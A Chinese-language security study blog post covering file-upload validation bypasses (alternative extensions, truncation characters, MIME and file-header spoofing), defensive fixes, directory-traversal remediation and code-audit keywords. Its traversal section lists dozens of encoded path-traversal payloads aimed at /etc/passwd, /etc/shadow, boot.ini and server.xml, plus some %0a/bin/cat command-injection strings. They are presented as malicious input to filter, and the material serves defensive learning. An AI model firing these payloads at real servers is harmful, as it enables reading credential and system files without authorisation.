前言
记录自己学习中产生的问题了。
1.一些文件上传相关的绕过原理是什么
- 空格绕过以及1.jsp::DATA主要针对windows,因为windows针对文件名的空格会空处理,但是代码不会忽略空格。然后::DATA会被忽略重建文件。应用范围比较狭窄,主要针对黑名单,且不做后缀匹配那种。
- 常见后缀黑名单绕过
aspx&asp:ashx、asa、asmx、cer php: php3、phtml jsp:jspx、jspf
- 截断绕过符号《,、;、%00、’、^》 等都可以,这几种方法在windows服务器上成功率是比较高的,因为windows在创建文件的时候这些特殊字符是不允许出现的。
- MIME检测绕过:代码限制上传文件的MIME类型需为”image/jpeg”,”image/png”或”image/gif”,可通过抓包,修改Content-Type为合法类型绕过MIME类型检测。
根据文件的前面几个字节,即常说的魔术数字进行判断,不同文件类型的开头几个字节不同。
常见文件头:
文件类型 文件头 JPEG (jpg) FFD8FF PNG (png) 89504E47 GIF (gif) 47494638 ZIP Archive (zip) 504B0304 RAR Archive (rar) 52617221
- 双写绕过
常规的修复方案
通过后端增加对上传文件后缀格式的验证,验证的手段有两种,分别是白名单校验和黑名单校验
推荐使用白名单校验,绕过的危险小,黑名单无法维护全面,极容导致绕过校验成功上传脚本文件
只允许文件上传到固定目录且设置程序对该目录下只有读写权限,不得具有执行权限
推荐存储文件的服务器和应用服务器相互独立
上传成功的文件不得真实的存储路径回显给前端,但是对于我想下载禁止直接使用完整的路径【为了防止直接暴露真实路径到前端】,应该通过key,到服务端或数据库中找到真实的路径下载即可
必要的时候需要重命名文件名,最合理的一定是后端生成的文件的目录,最好使用随机数
2.目录遍历修复
产生原因就是没过滤导致目录遍历,从修复来看吧。
1.净化数据:对用户传过来的文件名参数进行硬编码或统一编码,对文件类型进行白名单控制,对包含恶意字符或者空字符的参数进行拒绝。主要的恶意字符包括不局限于如下:
..
..\
../
%2e%2e%2f which translates to ../
%2e%2e/ which translates to ../
..%2f which translates to ../
%2e%2e%5c which translates to ..\
%c1%1c
%c0%9v
%c0%af
..%5c../
../../../../../../../../../../../../etc/hosts%00
../../../../../../../../../../../../etc/hosts
../../boot.ini
/../../../../../../../../%2A
../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../etc/shadow%00
../../../../../../../../../../../../etc/shadow
/../../../../../../../../../../etc/passwd^^
/../../../../../../../../../../etc/shadow^^
/../../../../../../../../../../etc/passwd
/../../../../../../../../../../etc/shadow
/./././././././././././etc/passwd
/./././././././././././etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd
\..\..\..\..\..\..\..\..\..\..\etc\shadow
..\..\..\..\..\..\..\..\..\..\etc\passwd
..\..\..\..\..\..\..\..\..\..\etc\shadow
/..\../..\../..\../..\../..\../..\../etc/passwd
/..\../..\../..\../..\../..\../..\../etc/shadow
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd%00
\..\..\..\..\..\..\..\..\..\..\etc\shadow%00
..\..\..\..\..\..\..\..\..\..\etc\passwd%00
..\..\..\..\..\..\..\..\..\..\etc\shadow%00
%0a/bin/cat%20/etc/passwd
%0a/bin/cat%20/etc/shadow
%00/etc/passwd%00
%00/etc/shadow%00
%00../../../../../../etc/passwd
%00../../../../../../etc/shadow
/../../../../../../../../../../../etc/passwd%00.jpg
/../../../../../../../../../../../etc/passwd%00.html
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%255cboot.ini
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini
\\'/bin/cat%20/etc/passwd\\'
\\'/bin/cat%20/etc/shadow\\'
../../../../../../../../conf/server.xml
/../../../../../../../../bin/id|
C:/inetpub/wwwroot/global.asa
C:\inetpub\wwwroot\global.asa
C:/boot.ini
C:\boot.ini
../../../../../../../../../../../../localstart.asp%00
../../../../../../../../../../../../localstart.asp
../../../../../../../../../../../../boot.ini%00
../../../../../../../../../../../../boot.ini
/./././././././././././boot.ini
/../../../../../../../../../../../boot.ini%00
/../../../../../../../../../../../boot.ini
/..\../..\../..\../..\../..\../..\../boot.ini
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
\..\..\..\..\..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\..\..\..\boot.ini%00
..\..\..\..\..\..\..\..\..\..\boot.ini
/../../../../../../../../../../../boot.ini%00.html
/../../../../../../../../../../../boot.ini%00.jpg
/.../.../.../.../.../
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.
2.web应用程序可以使用chroot环境包含被访问的web目录,或者使用绝对路径+参数来访问文件目录,时使其即使越权也在访问目录之内。www目录就是一个chroot应用. 由chroot创造出的那个根目录,叫做“chroot监狱”(所谓”监狱”就是指通过chroot机制来更改某个进程所能看到的根目录,即将某进程限制在指定目录中,保证该进程只能对该目录及其子目录的文件有所动作,从而保证整个服务器的安全。
3、 任意文件下载漏洞也有可能是web所采用的中间件的版本低而导致问题的产生,例如ibm的websphere的任意文件下载漏洞,需更新其中间件的版本可修复。
4、 要下载的文件地址保存至数据库中。
5、 文件路径保存至数据库,让用户提交文件对应ID下载文件。
6、 用户下载文件之前需要进行权限判断。
7、 文件放在web无法直接访问的目录下。
8、 不允许提供目录遍历服务。
9、 公开文件可放置在web应用程序下载目录中通过链接进行下载。
3.审计的思路
先说文件上传吧。均是个人理解,欢迎大家改正补充哈。
文件上传可以搜索以下关键词: upload,write,fileName ,filePath
在查看时,主要判断是否有检查后缀和文件的大小
同时要查看配置文件是否有设置白名单或者黑名单(不推荐黑名单,可能被绕过)
目录其实没差啥,就是filename换成pathname这种。其实主要还是过滤问题。针对啥类型变量修复永远都是优先全局过滤器,之后再说其他,全局过滤器快速,但是业务功能和性能相对较小。
写在后面
再会,还有下一篇。如果对你有帮助是我的荣幸!再见,铁子~